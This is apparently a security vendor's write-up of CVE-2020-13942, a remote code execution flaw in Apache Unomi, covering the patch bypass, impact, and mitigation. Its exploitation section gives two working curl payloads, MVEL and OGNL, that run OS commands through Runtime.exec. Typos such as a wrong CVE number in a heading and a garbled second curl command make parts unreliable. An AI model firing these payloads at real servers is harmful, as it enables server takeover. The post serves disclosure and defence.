CVE-2020-13942 is a critical vulnerability that affects the Apache open source application Unomi, and allows a remote attacker to execute arbitrary code. In the versions prior to 1.5.1, Apache Unomi allowed remote attackers to send malicious requests with MVEL and OGNL expressions that could contain arbitrary code, resulting in Remote Code Execution (RCE) with the privileges of the Unomi application. If a potential attacker can reach the application and send an HTTP request with a crafted OGNL or MVEL payload, then they may be able to exploit the vulnerability and execute arbitrary code on the machine or pod. From reading this article, you will understand this issue, what part of Apache Unomi is affected, and learn how to mitigate the vulnerability with Sysdig Secure.
What is Apache Uomi?
Apache Unomi is an Open Source Customer Data Platform and part of the Apache software foundation. Unomi is a REST server that manages user profiles and events related to the profiles. It can be used to integrate personalization and profile management within very different systems, such as CMS, CRMs, and Issue Trackers. Similar to what happened for Apache Struts, which was targeted by critical security issues on OGNL in the past couple of years, Apache Unomi uses expression languages (OGNL or MVEL) to allow users to edit complex and granular queries. Due to their nature to create and change executable code, they are often introducing critical flows to frameworks that use it.The CVE-2020-13942 issue
The issue with CVE-2020-13942 is as follows: If you have Apache Unomi versions 1.5.1 or below, there are two possible attack vectors:- RCE through MVEL injection.
- RCE through OGNL injection.
A previous vulnerability not patched properly
In a previous CVE fix, the SecureFilteringClassLoader class was added. This checks the classes used in the expressions against a whitelist and a blocklist to limit the execution of OGNL expressions. However, it didn’t cover the MVEL expressions. The problem of the patch applied is that the SecureFilteringClassLoader relies on the assumption that every class in both MVEL and OGNL expressions is loaded using the loadClass() method of the ClassLoader class. However, it is still possible to load a class by using instantiated built-in system level classes, like Runtime or System, without calling loadClass(), totally bypassing the patch applied and leaving Unomi open to RCE. The same applies to the OGNL case, where you can use the Java reflections API to load classes inside OGNL expressions without triggering the loadClass() call.Exploiting CVE-2020-23942
To exploit the vulnerability, it is possible to use both the port 8181 and 9443. The code used for both vectors targets OGNL, and MVAL is relatively similar. The crafted HTTP request below contains a MVAL expression, which creates a Runtime object and runs the arbitrary OS command on the host or pod.curl -X POST http://<host>:8181/context.json --header 'Content-type: application/json' --data '{"filters":[{"id":"mvel-poc ","filters":[{"condition":{"parameterValues":{"propertyName":"prop","comparisonOperator":"equals","propertyValue":"script::Runtime r=Runtime.getRuntime();r.exec(\"touch /tmp/mvel-poc\");"},"type":"profilePropertyCondition"}}]}],"sessionId":"mvel-poc"}'If we check the command line on the pod, we see that the file “test-mvel” has been successfully created. As for the previous case, we can see the HTTP request that contains OGNL expression and loads the Runtime class using the Java reflections API.
curl -XPOST http://localhost:8181/context.jsonder 'Content-Type: application/json' --data '{"personalizations":[{"id":"ognl-poc","strategy":"matching-first","strategyOptions":{"fallback":"var2"},"contents":[{"filters":[{"condition":{"parameterValues":{"propertyName": "(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"touch /tmp/ognl-poc\"))","comparisonOperator":"equals","propertyValue":"male"},"type":"profilePropertyCondition"}}]}]}],"sessionId":"ognl-poc"}'Even in this case, the OS command has been correctly executed on the pod and the file created. To solve the CVE-2020-13942 issue, a patch was released by the Apache Unomi and included in the 1.5.2 version. Developers did several mitigations in this patch, primarily disabling OGNL by default, improving OGNL sandbox, sanitizing MVEL expressions, and modifying its imports preventing system-level classes. From the code below, we can see that in the file ExpressionFilter.java, regular expressions have been used to filter out objects that are not expected in MVEL scripts, such as Runtime, ProcessBuilder, etc. In addition, potentially dangerous classes like Runtime, ProcessBuilder, etc. are overwritten by the String class inside the MVEL runtime in the new class MvelScriptExecutor.
The impact of CVE-2020-13942
Exploiting the issue, is possible to execute arbitrary commands on the system using the application privileges. According to the CVSS3 system, it scores 9.8 as Critical Severity due to the low complexity exploitation and the high impact in terms of confidentiality, integrity, and availability. To learn more about how a vulnerability score is calculated, Are Vulnerability Scores Tricking You? Understanding the severity of CVSS and using them effectively In the worst scenario, the attacker is able to execute code using the privileges the application is using to run. If the application is run by root, the attacker has full control on the machine. Often though, the application is run by an unprivileged service user so in order to fully control the host, an adversary has to escalate the privileges inside the machine or pod.Mitigating CVE-2020-13942
If you’re impacted by this CVE, you should update the application to the newest version, or at least to the 1.5.2 version, immediately. If you cannot patch your systems immediately, detecting exploitation attempts of this vulnerability is critical to preventing or stopping an attack. Even though you might have already upgraded your system and containers affected by the vulnerability, it is still extremely necessary to detect any exploitation attempts and post-breach activities in your environment. To detect and mitigate this vulnerability, it is possible to act in three different moments in the application lifecycle:- During the build, with an image scanner.
- During the deployment, thanks to an image scanner on the admission controller.
- During the run and response phase, using a runtime detection engine to detect malicious behaviors in already deployed hosts or pods.